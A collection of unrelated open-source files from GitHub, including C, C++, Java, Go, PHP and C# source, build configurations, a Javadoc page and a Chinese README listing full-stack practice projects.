#define S5H1411_MPEGTIMING_NONCONTINOUS_INVERTING_CLOCK 2
#define S5H1411_MPEGTIMING_NONCONTINOUS_NONINVERTING_CLOCK 3
u16 mpeg_timing;
/* IF Freq for QAM and VSB in KHz */
#define S5H1411_IF_3250 3250
#define S5H1411_IF_3500 3500
#define S5H1411_IF_4000 4000
#define S5H1411_IF_5380 5380
#define S5H1411_IF_44000 44000
#define S5H1411_VSB_IF_DEFAULT S5H1411_IF_44000
#define S5H1411_QAM_IF_DEFAULT S5H1411_IF_44000
u16 qam_if;
u16 vsb_if;
/* Spectral Inversion */
#define S5H1411_INVERSION_OFF 0
#define S5H1411_INVERSION_ON 1
u8 inversion;
/* Return lock status based on tuner lock, or demod lock */
#define S5H1411_TUNERLOCKING 0
#define S5H1411_DEMODLOCKING 1
u8 status_mode;
};
#if IS_REACHABLE(CONFIG_DVB_S5H1411)
extern struct dvb_frontend *s5h1411_attach(const struct s5h1411_config *config,
struct i2c_adapter *i2c);
#else
static inline struct dvb_frontend *s5h1411_attach(
const struct s5h1411_config *config,
struct i2c_adapter *i2c)
{
printk(KERN_WARNING "%s: driver disabled by Kconfig\n", __func__);
return NULL;
}
#endif /* CONFIG_DVB_S5H1411 */
#endif /* __S5H1411_H__ */
|
{
"pile_set_name": "Github"
}
|
{
"name": "MyMonero",
"author": "MyMonero",
"description": "The simplest way to use Monero",
"version": "1.1.13",
"license": "SEE LICENSE IN LICENSE.txt",
"repository": "https://github.com/mymonero/mymonero-app-js",
"private": false,
"main": "./local_modules/electron_main/electron_main.js",
"scripts": {
"start": "electron ./local_modules/electron_main/electron_main.js",
"start-dev": "NODE_ENV=development electron --no-sandbox ./local_modules/electron_main/electron_main.js",
"dist-m": "CSC_IDENTITY_AUTO_DISCOVERY=false CSC_NAME=\"MyMonero Pty Ltd\" electron-builder -m -p never",
"dist-w": "electron-builder -w -p never --ia32 --x64",
"dist-l": "electron-builder -l -p never",
"postinstall": "electron-builder install-app-deps"
},
"build": {
"appId": "com.mymonero.mymonero-desktop",
"copyright": "Copyright © 2014-2019 MyMonero/",
"asar": true,
"forceCodeSigning": false,
"afterPack": "./build-afterPack.js",
"files": [
"local_modules/**/*.{js,json,wasm}",
"local_modules/**/*.{png,icns,ico,otf,ttf}",
"local_modules/**/*.css",
"local_modules/**/*.html",
"node_modules/**",
"!**/node_modules/*/{CHANGELOG.md,README.md,README,readme.md,readme,test,__tests__,tests,powered-test,example,examples,*.d.ts}",
"!**/node_modules/.bin",
"!**/*.{o,hprof,orig,pyc,pyo,rbc}",
"!**/._*",
"!**/{.DS_Store,.eslintrc.json,.eslintignore,.git,.hg,.svn,CVS,RCS,SCCS,__pycache__,thumbs.db,.gitignore,.gitattributes,.editorconfig,.flowconfig,.yarn-metadata.json,.idea,appveyor.yml,.travis.yml,circle.yml,npm-debug.log,.nyc_output,yarn.lock,.yarn-integrity}",
"!**/*.cordova.*",
"!**/*.Lite.*",
"!**/local_modules/**/package.json",
"!**/local_modules/**/package-lock.json",
"!**/tests/*",
"!**/*.spec.js",
"!local_modules/Pasteboard/Vendor/clipboard.min.js",
"!local_modules/mymonero_libapp_js/libapp_js/MyMoneroLibAppCpp_ASMJS.js",
"!local_modules/mymonero_libapp_js/libapp_js/MyMoneroLibAppCpp_ASMJS.asm.js",
"!local_modules/mymonero_libapp_js/build",
"!local_modules/mymonero_libapp_js/tests/**",
"!local_modules/mymonero_libapp_js/src/**",
"!local_modules/mymonero_libapp_js/mymonero-core-js/index.js",
"!local_modules/mymonero_libapp_js/mymonero-core-js/monero_utils/MyMoneroCoreCpp_ASMJS.js",
"!local_modules/mymonero_libapp_js/mymonero-core-js/monero_utils/MyMoneroCoreCpp_ASMJS.asm.js",
"!local_modules/mymonero_libapp_js/mymonero-core-js/monero_utils/MyMoneroCoreCpp_WASM.js",
"!local_modules/mymonero_libapp_js/mymonero-core-js/monero_utils/MyMoneroCoreCpp_WASM.wasm",
"!local_modules/mymonero_libapp_js/mymonero-core-js/monero_utils/MyMoneroCoreBridge.js",
"!local_modules/mymonero_libapp_js/mymonero-core-js/monero_utils/MyMoneroCoreBridgeClass.js",
"!local_modules/mymonero_libapp_js/mymonero-core-js/tests/**",
"!local_modules/mymonero_libapp_js/mymonero-core-js/wallaby*",
"!local_modules/mymonero_libapp_js/mymonero-core-js/src/**",
"!local_modules/mymonero_libapp_js/mymonero-core-js/build",
"!**/*.browser.*",
"!**/favicon*.png",
"!**/favicon*.ico",
"!**/mstile*.png",
"!**/apple-touch-icon.png",
"!**/android-chrome*.png",
"!**/browserconfig.xml",
"!local_modules/MainWindow/Resources/favicon/manifest.json",
"!local_modules/MainWindow/Resources/www_logo@3x.png"
],
"publish": [
{
"provider": "github",
"owner": "mymonero",
"repo": "mymonero-app-js"
}
],
"mac": {
"category": "public.app-category.finance",
"target": [
"zip",
"dir",
"dmg"
],
"type": "distribution",
"icon": "icon.icns",
"identity": "MyMonero Pty Ltd (NLN5D623Y3)",
"extendInfo": {
"com.apple.developer.team-identifier": "NLN5D623Y3",
"com.apple.application-identifier": "NLN5D623Y3.com.mymonero.mymonero-desktop"
}
},
"win": {
"target": [
"nsis"
],
"artifactName": "${productName}-${version}.${ext}",
"legalTrademarks": "Copyright © 2014-2019 MyMonero.",
"publisherName": null,
"verifyUpdateCodeSignature": false
},
"nsis": {
"perMachine": true,
"artifactName": "${productName}-${version}.${ext}"
},
"nsisWeb": {
"artifactName": "${productName}-${version}.${ext}"
},
"linux": {
"icon": "icon.icns",
"target": [
"AppImage"
]
},
"protocols": [
{
"name": "Monero Funds Request URL",
"schemes": [
"monero"
]
}
]
},
"engines": {
"node": "12.4.0"
},
"dependencies": {
"async": "3.1.0",
"electron-context-menu": "0.15.1",
"electron-log": "3.0.9",
"electron-updater": "4.2.0",
"fastclick": "1.0.6",
"html5-fs": "0.1.1",
"jsqr": "1.1.1",
"qrcode": "1.2.2",
"uuid": "3.3.2",
"velocity-animate": "1.5.2",
"xhr": "2.5.0"
},
"devDependencies": {
"babel-core": "6.26.3",
"babel-loader": "8.0.6",
"babel-minify": "0.5.1",
"electron": "7.1.1",
"electron-builder": "21.2.0",
"electron-packager": "14.1.0",
"eslint": "5.6.0",
"request": "2.88.0",
"webpack": "4.41.2",
"webpack-cli": "3.3.10",
"webpack-merge": "4.2.2",
"worker-loader": "2.0.0"
}
}
|
{
"pile_set_name": "Github"
}
|
/*
*
* Copyright (c) 2013 - 2020 Lijun Liao
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.xipki.security.pkcs11;
import static org.xipki.util.Args.notNull;
import java.math.BigInteger;
import java.security.InvalidKeyException;
import java.security.interfaces.RSAPublicKey;
import org.bouncycastle.crypto.params.RSAKeyParameters;
/**
* {@link RSAKeyParameters} for PKCS#11 token.
*
* @author Lijun Liao
* @since 2.0.0
*/
// CHECKSTYLE:SKIP
public class P11RSAKeyParameter extends RSAKeyParameters {
private final P11CryptService p11CryptService;
private final P11IdentityId identityId;
private final int keysize;
private P11RSAKeyParameter(P11CryptService p11CryptService, P11IdentityId identityId,
BigInteger modulus, BigInteger publicExponent) {
super(true, modulus, publicExponent);
notNull(modulus,"modulus");
notNull(publicExponent, "publicExponent");
this.p11CryptService = notNull(p11CryptService, "p11CryptService");
this.identityId = notNull(identityId, "identityId");
this.keysize = modulus.bitLength();
}
int getKeysize() {
return keysize;
}
P11CryptService getP11CryptService() {
return p11CryptService;
}
P11IdentityId getIdentityId() {
return identityId;
}
public static P11RSAKeyParameter getInstance(P11CryptService p11CryptService,
P11IdentityId identityId)
throws InvalidKeyException {
notNull(p11CryptService, "p11CryptService");
notNull(identityId, "identityId");
RSAPublicKey key;
try {
key = (RSAPublicKey) p11CryptService.getIdentity(identityId).getPublicKey();
} catch (P11TokenException ex) {
throw new InvalidKeyException(ex.getMessage(), ex);
}
BigInteger modulus = key.getModulus();
BigInteger publicExponent = key.getPublicExponent();
return new P11RSAKeyParameter(p11CryptService, identityId, modulus, publicExponent);
}
}
|
{
"pile_set_name": "Github"
}
|
/*
* Copyright 2018 Netflix, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.netflix.titus.testkit.embedded.cell.master;
import com.netflix.governator.InjectorBuilder;
import com.netflix.governator.LifecycleInjector;
import com.netflix.titus.common.runtime.internal.DefaultTitusRuntime;
import com.netflix.titus.testkit.embedded.cloud.EmbeddedCloudModule;
import com.netflix.titus.testkit.embedded.cloud.SimulatedCloud;
public class EmbeddedTitusRunner {
public static void main(String[] args) throws InterruptedException {
LifecycleInjector injector = InjectorBuilder.fromModule(new EmbeddedCloudModule()).createInjector();
SimulatedCloud cloud = injector.getInstance(SimulatedCloud.class);
System.setProperty(DefaultTitusRuntime.FIT_ACTIVATION_PROPERTY, "true");
EmbeddedTitusMaster.Builder builder = EmbeddedTitusMaster.aTitusMaster()
.withSimulatedCloud(cloud)
.withCassadraV3JobStore()
.withApiPort(8080)
.withGrpcPort(8090);
EmbeddedTitusMaster titusMaster = builder.build();
titusMaster.boot();
System.out.println("TitusMaster started");
Thread.sleep(24 * 60 * 60 * 1000L);
}
}
|
{
"pile_set_name": "Github"
}
|
/* DllSecur.h -- DLL loading for security
2016-06-08 : Igor Pavlov : Public domain */
#ifndef __DLL_SECUR_H
#define __DLL_SECUR_H
#include "7zTypes.h"
EXTERN_C_BEGIN
#ifdef _WIN32
void LoadSecurityDlls();
#endif
EXTERN_C_END
#endif
|
{
"pile_set_name": "Github"
}
|
<?php
/*
* This file is part of the GlobalState package.
*
* (c) Sebastian Bergmann <sebastian@phpunit.de>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace SebastianBergmann\GlobalState;
/**
*/
interface Exception
{
}
|
{
"pile_set_name": "Github"
}
|
{
"version": "0.0.1",
"dependencies": {
"eslint": "3.10.1"
}
}
|
{
"pile_set_name": "Github"
}
|
/*
* Copyright (c) 2010, SQL Power Group Inc.
*
* This file is part of SQL Power Architect.
*
* SQL Power Architect is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 3 of the License, or
* (at your option) any later version.
*
* SQL Power Architect is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
package ca.sqlpower.architect.swingui;
import java.awt.Point;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
import org.apache.log4j.Logger;
import ca.sqlpower.architect.swingui.PlayPen.FloatingContainerPaneListener;
public abstract class DraggablePlayPenComponent extends PlayPenComponent {
private static final Logger logger = Logger.getLogger(DraggablePlayPenComponent.class);
protected DraggablePlayPenComponent(DraggablePlayPenComponent copyMe, PlayPenContentPane parent) {
super(copyMe, parent);
}
public DraggablePlayPenComponent(String name) {
super(name);
}
public DraggablePlayPenComponent(String name, PlayPenContentPane parent) {
super(name, parent);
}
/**
* Sets up the PlayPen's drag listener for all selected items. The drag
* listener will keep them at an offset from the mouse position.
*
* @param p
* The relative location of the mouse event, from the top left
* corner of this component.
*/
protected void setupDrag(Point p) {
PlayPen pp = getPlayPen();
Iterator<DraggablePlayPenComponent> it = pp.getSelectedDraggableComponents().iterator();
logger.debug("event point: " + p); //$NON-NLS-1$
logger.debug("zoomed event point: " + pp.zoomPoint(new Point(p))); //$NON-NLS-1$
pp.setDraggingContainerPanes(true);
startedDragging();
Map<DraggablePlayPenComponent, Point> ppcToHandleMap = new HashMap<DraggablePlayPenComponent, Point>();
while (it.hasNext()) {
// create FloatingContainerPaneListener for each selected item
DraggablePlayPenComponent ppc = it.next();
logger.debug("(" + ppc.getModel() + ") zoomed selected containerPane's point: " + ppc.getLocationOnScreen()); //$NON-NLS-1$ //$NON-NLS-2$
logger.debug("(" + ppc.getModel() + ") unzoomed selected containerPane's point: " + pp.unzoomPoint(ppc.getLocationOnScreen())); //$NON-NLS-1$ //$NON-NLS-2$
/* the floating ContainerPane listener expects zoomed handles which are relative to
the location of the ContainerPane column which was clicked on. */
Point clickedItem = getLocationOnScreen();
Point otherContainer = ppc.getLocationOnScreen();
logger.debug("(" + ppc.getModel() + ") translation x=" //$NON-NLS-1$ //$NON-NLS-2$
+ (otherContainer.getX() - clickedItem.getX()) + ",y=" //$NON-NLS-1$
+ (otherContainer.getY() - clickedItem.getY()));
Point handle = pp.zoomPoint(new Point(p));
handle.translate((int)(clickedItem.getX() - otherContainer.getX()), (int) (clickedItem.getY() - otherContainer.getY()));
ppcToHandleMap.put(ppc, handle);
}
new FloatingContainerPaneListener(pp, ppcToHandleMap);
}
}
|
{
"pile_set_name": "Github"
}
|
# Format: //devtools/kokoro/config/proto/build.proto
env_vars: {
key: "PACKAGE"
value: "google-cloud-dataproc"
}
|
{
"pile_set_name": "Github"
}
|
(*
** for testing
** [libats/libc/fcntl]
*)
(* ****** ****** *)
//
#include
"share/atspre_staload.hats"
//
(* ****** ****** *)
staload "libats/libc/SATS/fcntl.sats"
staload "libats/libc/SATS/unistd.sats"
(* ****** ****** *)
val () =
{
//
val fd = open_flags ("/tmp/foo", O_RDONLY)
val ifd = fildes_get_int (fd)
val () = println! ("fildes_get_int (fd) = ", ifd)
//
val () =
(
//
if ifd >= 0 then let
val (pfopt | err ) = close (fd)
val () = assertloc (err = 0)
prval close_v_succ () = pfopt
in
// nothing
end else let
prval () = fildes_neg_elim (fd)
in
// nothing
end // end of [if]
//
) : void
//
} // end of [val]
(* ****** ****** *)
implement main0 () = ()
(* ****** ****** *)
(* end of [libats_libc_fcntl.dats] *)
|
{
"pile_set_name": "Github"
}
|
/*
* Copyright (C) 2010-2011 Mamadou Diop.
*
* Contact: Mamadou Diop <diopmamadou(at)doubango.org>
*
* This file is part of Open Source Doubango Framework.
*
* DOUBANGO is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* DOUBANGO is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with DOUBANGO.
*
*/
#ifndef TINYWRAP_SIPEVENT_H
#define TINYWRAP_SIPEVENT_H
#include "tinyWRAP_config.h"
#include "tinysip.h"
#include "Common.h"
class SipStack;
class SipSession;
class InviteSession;
class CallSession;
class MsrpSession;
class MessagingSession;
class InfoSession;
class OptionsSession;
class PublicationSession;
class RegistrationSession;
class SubscriptionSession;
class SipMessage;
/* ======================== SipEvent ========================*/
class TINYWRAP_API SipEvent
{
public:
#if !defined(SWIG)
SipEvent(const tsip_event_t *sipevent);
#endif
virtual ~SipEvent();
public:
short getCode() const;
const char* getPhrase() const;
const SipSession* getBaseSession() const;
const SipMessage* getSipMessage() const;
#if !defined(SWIG)
const tsip_event_t * getWrappedEvent() {
return sipevent;
}
#endif
#if !defined(SWIG)
SipStack* getStack()const;
#endif
protected:
const tsip_event_t *sipevent;
SipMessage* sipmessage;
};
/* ======================== DialogEvent ========================*/
class TINYWRAP_API DialogEvent: public SipEvent
{
public:
#if !defined(SWIG)
DialogEvent(const tsip_event_t *sipevent);
#endif
virtual ~DialogEvent();
public: /* Public API functions */
};
/* ======================== StackEvent ========================*/
class TINYWRAP_API StackEvent: public SipEvent
{
public:
#if !defined(SWIG)
StackEvent(const tsip_event_t *sipevent);
#endif
virtual ~StackEvent();
public: /* Public API functions */
};
/* ======================== InviteEvent ========================*/
class TINYWRAP_API InviteEvent: public SipEvent
{
public:
#if !defined(SWIG)
InviteEvent(const tsip_event_t *sipevent);
#endif
virtual ~InviteEvent();
public: /* Public API functions */
tsip_invite_event_type_t getType() const;
twrap_media_type_t getMediaType() const;
const InviteSession* getSession() const;
CallSession* takeCallSessionOwnership() const;
MsrpSession* takeMsrpSessionOwnership() const;
};
/* ======================== MessagingEvent ========================*/
class TINYWRAP_API MessagingEvent: public SipEvent
{
public:
#if !defined(SWIG)
MessagingEvent(const tsip_event_t *sipevent);
#endif
virtual ~MessagingEvent();
public: /* Public API functions */
tsip_message_event_type_t getType() const;
const MessagingSession* getSession() const;
MessagingSession* takeSessionOwnership() const;
};
/* ======================== InfoEvent ========================*/
class TINYWRAP_API InfoEvent: public SipEvent
{
public:
#if !defined(SWIG)
InfoEvent(const tsip_event_t *sipevent);
#endif
virtual ~InfoEvent();
public: /* Public API functions */
tsip_info_event_type_t getType() const;
const InfoSession* getSession() const;
InfoSession* takeSessionOwnership() const;
};
/* ======================== OptionsEvent ========================*/
class TINYWRAP_API OptionsEvent: public SipEvent
{
public:
#if !defined(SWIG)
OptionsEvent(const tsip_event_t *sipevent);
#endif
virtual ~OptionsEvent();
public: /* Public API functions */
tsip_options_event_type_t getType() const;
const OptionsSession* getSession() const;
OptionsSession* takeSessionOwnership() const;
};
/* ======================== PublicationEvent ========================*/
class TINYWRAP_API PublicationEvent: public SipEvent
{
public:
#if !defined(SWIG)
PublicationEvent(const tsip_event_t *sipevent);
#endif
virtual ~PublicationEvent();
public: /* Public API functions */
tsip_publish_event_type_t getType() const;
const PublicationSession* getSession() const;
PublicationSession* takeSessionOwnership() const;
};
/* ======================== RegistrationEvent ========================*/
class TINYWRAP_API RegistrationEvent: public SipEvent
{
public:
#if !defined(SWIG)
RegistrationEvent(const tsip_event_t *sipevent);
#endif
virtual ~RegistrationEvent();
public: /* Public API functions */
tsip_register_event_type_t getType() const;
const RegistrationSession* getSession() const;
RegistrationSession* takeSessionOwnership() const;
};
/* ======================== SubscriptionEvent ========================*/
class TINYWRAP_API SubscriptionEvent: public SipEvent
{
public:
#if !defined(SWIG)
SubscriptionEvent(const tsip_event_t *sipevent);
#endif
virtual ~SubscriptionEvent();
public: /* Public API functions */
tsip_subscribe_event_type_t getType() const;
const SubscriptionSession* getSession() const;
SubscriptionSession* takeSessionOwnership() const;
};
#endif /* TINYWRAP_SIPEVENT_H */
|
{
"pile_set_name": "Github"
}
|
/* ----------------------------------------------------------------------------
* SAM Software Package License
* ----------------------------------------------------------------------------
* Copyright (c) 2012, Atmel Corporation
*
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following condition is met:
*
* - Redistributions of source code must retain the above copyright notice,
* this list of conditions and the disclaimer below.
*
* Atmel's name may not be used to endorse or promote products derived from
* this software without specific prior written permission.
*
* DISCLAIMER: THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE
* DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
* LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA,
* OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
* ----------------------------------------------------------------------------
*/
#ifndef _SAM3U_GPBR_INSTANCE_
#define _SAM3U_GPBR_INSTANCE_
/* ========== Register definition for GPBR peripheral ========== */
#if (defined(__ASSEMBLY__) || defined(__IAR_SYSTEMS_ASM__))
#define REG_GPBR_GPBR (0x400E1290U) /**< \brief (GPBR) General Purpose Backup Register */
#else
#define REG_GPBR_GPBR (*(RwReg*)0x400E1290U) /**< \brief (GPBR) General Purpose Backup Register */
#endif /* (defined(__ASSEMBLY__) || defined(__IAR_SYSTEMS_ASM__)) */
#endif /* _SAM3U_GPBR_INSTANCE_ */
|
{
"pile_set_name": "Github"
}
|
package random
import (
cryptorand "crypto/rand"
"io"
"math"
"math/big"
"math/rand"
"sync"
"time"
)
// Rand is a global *rand.Rand instance, which initialized with NewSource() source.
var Rand = rand.New(NewSource())
// Reader is a global, shared instance of a pseudorandom bytes generator.
// It doesn't consume entropy.
var Reader io.Reader = &reader{rnd: Rand}
// copypaste from standard math/rand
type lockedSource struct {
lk sync.Mutex
src rand.Source
}
func (r *lockedSource) Int63() (n int64) {
r.lk.Lock()
n = r.src.Int63()
r.lk.Unlock()
return
}
func (r *lockedSource) Seed(seed int64) {
r.lk.Lock()
r.src.Seed(seed)
r.lk.Unlock()
}
// NewSource returns math/rand.Source safe for concurrent use and initialized
// with current unix-nano timestamp
func NewSource() rand.Source {
var seed int64
if cryptoseed, err := cryptorand.Int(cryptorand.Reader, big.NewInt(math.MaxInt64)); err != nil {
// This should not happen, but worst-case fallback to time-based seed.
seed = time.Now().UnixNano()
} else {
seed = cryptoseed.Int64()
}
return &lockedSource{
src: rand.NewSource(seed),
}
}
type reader struct {
rnd *rand.Rand
}
func (r *reader) Read(b []byte) (int, error) {
i := 0
for {
val := r.rnd.Int63()
for val > 0 {
b[i] = byte(val)
i++
if i == len(b) {
return i, nil
}
val >>= 8
}
}
}
|
{
"pile_set_name": "Github"
}
|
using System;
using Newtonsoft.Json;
namespace Alipay.AopSdk.Core.Domain
{
/// <summary>
/// InfoCode Data Structure.
/// </summary>
[Serializable]
public class InfoCode : AopObject
{
/// <summary>
/// 风险描述
/// </summary>
[JsonProperty("risk_description")]
public string RiskDescription { get; set; }
/// <summary>
/// 风险因素编码
/// </summary>
[JsonProperty("risk_factor_code")]
public string RiskFactorCode { get; set; }
/// <summary>
/// 风险因素名称
/// </summary>
[JsonProperty("risk_factor_name")]
public string RiskFactorName { get; set; }
/// <summary>
/// 风险度量
/// </summary>
[JsonProperty("risk_magnitude")]
public string RiskMagnitude { get; set; }
}
}
|
{
"pile_set_name": "Github"
}
|
#include <sys/types.h>
#define KB ((off_t)1024)
#define MB ((off_t)1024 * KB)
#define GB ((off_t)1024 * MB)
#define TB ((off_t)1024 * GB)
int t2[(((64 * GB -1) % 671088649) == 268434537)
&& (((TB - (64 * GB -1) + 255) % 1792151290) == 305159546)? 1: -1];
int main()
{
;
return 0;
}
|
{
"pile_set_name": "Github"
}
|
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!-- NewPage -->
<html lang="en">
<head>
<!-- Generated by javadoc -->
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Uses of Class io.permazen.core.type.LongArrayType (Permazen 4.1.6 API)</title>
<link rel="stylesheet" type="text/css" href="../../../../../stylesheet.css" title="Style">
<script type="text/javascript" src="../../../../../script.js"></script>
</head>
<body>
<script type="text/javascript"><!--
try {
if (location.href.indexOf('is-external=true') == -1) {
parent.document.title="Uses of Class io.permazen.core.type.LongArrayType (Permazen 4.1.6 API)";
}
}
catch(err) {
}
//-->
</script>
<noscript>
<div>JavaScript is disabled on your browser.</div>
</noscript>
<!-- ========= START OF TOP NAVBAR ======= -->
<div class="topNav"><a name="navbar.top">
<!-- -->
</a>
<div class="skipNav"><a href="#skip.navbar.top" title="Skip navigation links">Skip navigation links</a></div>
<a name="navbar.top.firstrow">
<!-- -->
</a>
<ul class="navList" title="Navigation">
<li><a href="../../../../../overview-summary.html">Overview</a></li>
<li><a href="../package-summary.html">Package</a></li>
<li><a href="../../../../../io/permazen/core/type/LongArrayType.html" title="class in io.permazen.core.type">Class</a></li>
<li class="navBarCell1Rev">Use</li>
<li><a href="../package-tree.html">Tree</a></li>
<li><a href="../../../../../deprecated-list.html">Deprecated</a></li>
<li><a href="../../../../../index-all.html">Index</a></li>
<li><a href="../../../../../help-doc.html">Help</a></li>
</ul>
</div>
<div class="subNav">
<ul class="navList">
<li>Prev</li>
<li>Next</li>
</ul>
<ul class="navList">
<li><a href="../../../../../index.html?io/permazen/core/type/class-use/LongArrayType.html" target="_top">Frames</a></li>
<li><a href="LongArrayType.html" target="_top">No Frames</a></li>
</ul>
<ul class="navList" id="allclasses_navbar_top">
<li><a href="../../../../../allclasses-noframe.html">All Classes</a></li>
</ul>
<div>
<script type="text/javascript"><!--
allClassesLink = document.getElementById("allclasses_navbar_top");
if(window==top) {
allClassesLink.style.display = "block";
}
else {
allClassesLink.style.display = "none";
}
//-->
</script>
</div>
<a name="skip.navbar.top">
<!-- -->
</a></div>
<!-- ========= END OF TOP NAVBAR ========= -->
<div class="header">
<h2 title="Uses of Class io.permazen.core.type.LongArrayType" class="title">Uses of Class<br>io.permazen.core.type.LongArrayType</h2>
</div>
<div class="classUseContainer">No usage of io.permazen.core.type.LongArrayType</div>
<!-- ======= START OF BOTTOM NAVBAR ====== -->
<div class="bottomNav"><a name="navbar.bottom">
<!-- -->
</a>
<div class="skipNav"><a href="#skip.navbar.bottom" title="Skip navigation links">Skip navigation links</a></div>
<a name="navbar.bottom.firstrow">
<!-- -->
</a>
<ul class="navList" title="Navigation">
<li><a href="../../../../../overview-summary.html">Overview</a></li>
<li><a href="../package-summary.html">Package</a></li>
<li><a href="../../../../../io/permazen/core/type/LongArrayType.html" title="class in io.permazen.core.type">Class</a></li>
<li class="navBarCell1Rev">Use</li>
<li><a href="../package-tree.html">Tree</a></li>
<li><a href="../../../../../deprecated-list.html">Deprecated</a></li>
<li><a href="../../../../../index-all.html">Index</a></li>
<li><a href="../../../../../help-doc.html">Help</a></li>
</ul>
</div>
<div class="subNav">
<ul class="navList">
<li>Prev</li>
<li>Next</li>
</ul>
<ul class="navList">
<li><a href="../../../../../index.html?io/permazen/core/type/class-use/LongArrayType.html" target="_top">Frames</a></li>
<li><a href="LongArrayType.html" target="_top">No Frames</a></li>
</ul>
<ul class="navList" id="allclasses_navbar_bottom">
<li><a href="../../../../../allclasses-noframe.html">All Classes</a></li>
</ul>
<div>
<script type="text/javascript"><!--
allClassesLink = document.getElementById("allclasses_navbar_bottom");
if(window==top) {
allClassesLink.style.display = "block";
}
else {
allClassesLink.style.display = "none";
}
//-->
</script>
</div>
<a name="skip.navbar.bottom">
<!-- -->
</a></div>
<!-- ======== END OF BOTTOM NAVBAR ======= -->
<p class="legalCopy"><small>Copyright © 2020. All rights reserved.</small></p>
</body>
</html>
|
{
"pile_set_name": "Github"
}
|
一个全栈增长工程师的练手项目集
===
> English version is Ongoing, welcome to join us.
**你是不是在为提高编程技术而发愁?**
**你是不是在为找不到合适的练手项目而烦恼?**
**你是不是在为有合适的项目,但是没有指南而烦恼?**
我的其他电子书:
- 《[一步步搭建物联网系统](https://github.com/phodal/designiot)》
- 《[GitHub 漫游指南](https://github.com/phodal/github-roam)》
- 《[RePractise](https://github.com/phodal/repractise)》
- 《[Growth: 全栈增长工程师指南](https://github.com/phodal/growth-ebook)》
- 《[Growth: 全栈增长工程师实战](https://github.com/phodal/growth-in-action)》
欢迎关注我的微信公众号(扫描下面的二维码或搜索 Phodal).

目录
---
* [分析网站日志,打造访问地图](http://ideabook.phodal.com/#分析网站日志打造访问地图)
* [概况](http://ideabook.phodal.com/#概况)
* [背景](http://ideabook.phodal.com/#背景)
* [ShowCase](http://ideabook.phodal.com/#showcase)
* [Hadoop + Pig + Jython + AmMap + ElasticSearch](http://ideabook.phodal.com/#hadoop-pig-jython-ammap-elasticsearch)
* [步骤](http://ideabook.phodal.com/#步骤)
* [Step 1: 搭建基础设施](http://ideabook.phodal.com/#step-1-搭建基础设施)
* [Step 2: 解析access.log](http://ideabook.phodal.com/#step-2-解析access.log)
* [Step 3: 转换IP为GEO信息](http://ideabook.phodal.com/#step-3-转换ip为geo信息)
* [Step 4: 展示数据到地图上](http://ideabook.phodal.com/#step-4-展示数据到地图上)
* [练习建议](http://ideabook.phodal.com/#练习建议)
* [书籍录入移动应用:条形码扫描](http://ideabook.phodal.com/#书籍录入移动应用条形码扫描)
* [概况](http://ideabook.phodal.com/#概况-1)
* [背景](http://ideabook.phodal.com/#背景-1)
* [ShowCase](http://ideabook.phodal.com/#showcase-1)
* [Ionic + Zxing](http://ideabook.phodal.com/#ionic-zxing)
* [步骤](http://ideabook.phodal.com/#步骤-1)
* [Step 1: ZXing扫描与Douban API](http://ideabook.phodal.com/#step-1-zxing扫描与douban-api)
* [Step 2: 存储数据库](http://ideabook.phodal.com/#step-2-存储数据库)
* [练习建议](http://ideabook.phodal.com/#练习建议-1)
* [制作专属Badge](http://ideabook.phodal.com/#制作专属badge)
* [概况](http://ideabook.phodal.com/#概况-2)
* [背景](http://ideabook.phodal.com/#背景-2)
* [ShowCase](http://ideabook.phodal.com/#showcase-2)
* [SVG与SVGWrite](http://ideabook.phodal.com/#svg与svgwrite)
* [步骤](http://ideabook.phodal.com/#步骤-2)
* [Step 1: 基本图形](http://ideabook.phodal.com/#step-1-基本图形)
